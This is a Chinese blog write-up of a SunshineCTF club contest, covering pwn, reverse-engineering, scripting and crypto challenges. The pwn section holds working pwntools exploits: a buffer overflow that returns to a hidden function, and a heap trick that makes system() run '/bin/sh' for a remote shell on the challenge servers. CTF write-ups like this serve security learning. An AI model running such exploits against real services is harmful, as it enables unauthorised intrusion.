美文网首页
协会内部赛题解

协会内部赛题解

作者: liwl23 | 来源:发表于2019-04-01 13:42 被阅读0次

完成情况:

分类 题目 分数
pwn Return to mania;CyberRumble 250
reverse Patches' Punches;smash 200
scripting TimeWarp;Entry Exam 300
crypto WelcomeCrypto 50

合计:250+200+300*0.7=660

Patches' Punches

关键代码部分如下:

图片.png
可以看出整个过程就是,给“zyq|Xu3Px~_{Uo}TmfUq2E3piVtJ2nf!}”的前29个字符的ascii码增加了DWORD数组array-1FD8中相应的数字。大概有如下等式:
verify.png
这里面比较重要的处理步骤是format和checkResult函数。前者,把我们的输入进行变换并存储到v2中,后者把获得的v2与一个已知的数组的内容进行比较,如果相同就表示验证成功。
变换的公式如下:
(DWORD*v2)[i]=((char*)a1)[i]<<(4*i+((DWORD*)v2)[i])
这里的思路很清晰,就是把那个已知的数组dump出来,然后将加密过程逆过来就可以了。

Return To Mania

运行程序可以看到,程序每次运行的时候都会打印welcome函数的地址。由于我们已经得到了elf文件,所以可以根据获得的welcome的地址计算出Mania的地址,即:
maina\_addr=welcom\_adde+offset
offset=maina_sym-welcom_sym
代码如下:

from pwn import *
e = ELF("return-to-mania")
# conn = process("./return-to-mania")
conn = remote('ret.sunshinectf.org', '4301')
conn.recvuntil('of welcome():')
welcom_addr = conn.recvline()
mania_addr = int(welcom_addr,16) - e.symbols['welcome'] + e.symbols['mania']
conn.sendline('A'*0x16+p32(mania_addr))
conn.interactive()

CyberRumble

题目中程序的问题主要有两处

  1. old_school对应的函数中,如果我们既不输入‘y’,也不输入‘n’,那么我们输入的东西将会留在堆上。
  2. last_ride xxx对应的函数中,system函数会以我们输入的xxx作为参数进行调用。
    因此,可以考虑进行如下操作:
    2.1 利用old_school将"/bin/sh"写到堆上并保留其地址。
    2.2 利用last_ride 将"/bin/sh"的地址传递给system函数。

这里存在的几点问题是

  1. 地址的最低位不可以是0
    解决办法是,在/bin/sh前面加个空格。相应的,地址最低位就可以变为0x01了。
  2. 地址最高的两位为0,无法直接输入
    解决办法是,先输入一个较短的命令把最高位对应的字节设为0,然后再输入last_ride addr。
from pwn import *
import libnum
conn = process("./CyberRumble")
f= open("payload",'w')
# conn = remote("rumble.sunshinectf.org","4300")
conn.send("old_school   /bin/sh\n")
conn.recvuntil("written to ")
pstr = conn.recvline()[:-2]
conn.send('o\n')
print pstr
conn.send("old_school "+'000000\n')
conn.send('o\n')
conn.send('last_ride '+p64(int(pstr,16)+2)+'\n')
conn.interactive()

TimeWrapper

这个题目比较简单,大体意思就是服务器上有一个固定的数字序列。我们需要把序列中的每个数都发给服务器才能获取flag。而且,如果我们猜错了数字,服务器会把正确地数字返回给我们。因此,只要写一个脚本自动猜数字,并获取数字序列就好了。

from pwn import *
f=  open('nums','r')
nums = f.readline()
res = nums.replace('\n','').split(',')

f.close()
f = open('nums','w')
f.write(nums.replace('\n',''))
f.close()
with open('nums','a') as f:
    flag = True
    while flag:
        conn = remote("tw.sunshinectf.org", "4101")
        conn.recvline()
        conn.recvline()
        k = '\n'.join(res)
        conn.sendline(k)
        for i in res:
            tmp = conn.recvline()
            print tmp
            tmp = conn.recvline()
            print tmp
        conn.sendline('1')
        response = conn.recvline()
        try:
            print conn.recv(timeout=1)
        except:
            pass

        print response
        res.append(response[:-1])
        conn.close()
        f.write(',%s'%(res[-1],))

EntryExam

这个题目也比较简单,我们要做的就是,在两秒内把页面上的试卷做出来,并涂好答题卡,最后把答题卡传到服务器上去。然后,服务器会给我们返回下一个试卷的地址或flag。实现过程如下:

  1. 用requests获取试卷内容
  2. 用字符串处理获得答案
  3. 图像处理涂好答题卡
  4. requests上传答题卡
from PIL import Image
import numpy as np
import matplotlib.pyplot as plt
import json, urllib2
import requests
import os
sess = requests.session()
d = 60
h = 56
delatd = 10
delath = 34
def answer(ans):
    image = plt.imread('/home/weilong/Documents/pwn/hackme/sunshine/scantron.png','r')
    img = image.copy()
    print  image.shape
    index = 0
    for i in range(len(ans)):
        if i<10:
            x,y = 460,360
        else:
            x,y = 463,853
        opt = (ord(ans[i])-ord('A'))
        y = y + opt*(delatd+d)
        x = x + (index%10) *(delath+h)
        for j in range(-30,30):
            for k in range(-30,30):
                if (j*j+k*k) <= (d*d*1.0/4.0):
                    img[j+x][k+y][0] = 0
                    img[j+x][k+y][1]=img[j+x][k+y][2]=0
                    img[j+x][k+y][3] = 255
        index = index+1
    plt.imsave('test.png',img)

def getExam(x=0):
    if x==0:
        url = 'http://ee.sunshinectf.org/exam'
        res = sess.get(url).text
    else:
        res = x
    t = res.split("\n")
    i = 0
    ans = ''
    while i< (len(t)):
        if t[i].startswith("<li>"):
            tmp = eval(t[i][4:][:-5])
            i = i +2;
            for j in range(4):
                if tmp == int(t[i][4:][:-5]):
                    ans = ans + chr(ord('A')+j)
                i = i + 1
            continue
        i = i +1
    return ans

def send(filename):
    file = { 'file':('file.png',open(filename,'rb'))}
    upload_data = {"Content-Type": "image/png", "fileSize": str(os.path.getsize('test.png')),\
                   "filename": "test.png","Content-Disposition": "form-data"}

    r = sess.post('http://ee.sunshinectf.org/exam',data=upload_data,files=file)
    print sess.cookies.get_dict()
    return r.text

ans = getExam()
print ans
answer(ans)
msg = send("test.png")
while not ('sun' in msg) :
    ans = getExam(msg)
    print ans
    answer(ans)
    msg = send("test.png")
    print msg

Crypto

“DF?LHb=r_>b0%_0520<c8bPN”
可以发现‘D’与‘F’恰好相差2,碰巧‘s’和‘u’也相差2。因此猜测是凯撒密码。尝试解密获得:
“sun{w\x91l¡\x8em\x91_T\x8e_da_k\x92g\x91\x7f}”
隐约可以猜到内容大概是:
sun{w?l??m?_T?_da_k?g??}
猜测?处可能是符号而不是字母,所以尝试将问号处的内容全减去一个数使其变为符号。猜测\x8e会变为0(因为和O长得像)。于是变为:
sun{w3lC0m3_T0_da_k4g3!}提交一次,发现成功了。。

相关文章

网友评论

      本文标题:协会内部赛题解

      本文链接:https://www.haomeiwen.com/subject/dsimbqtx.html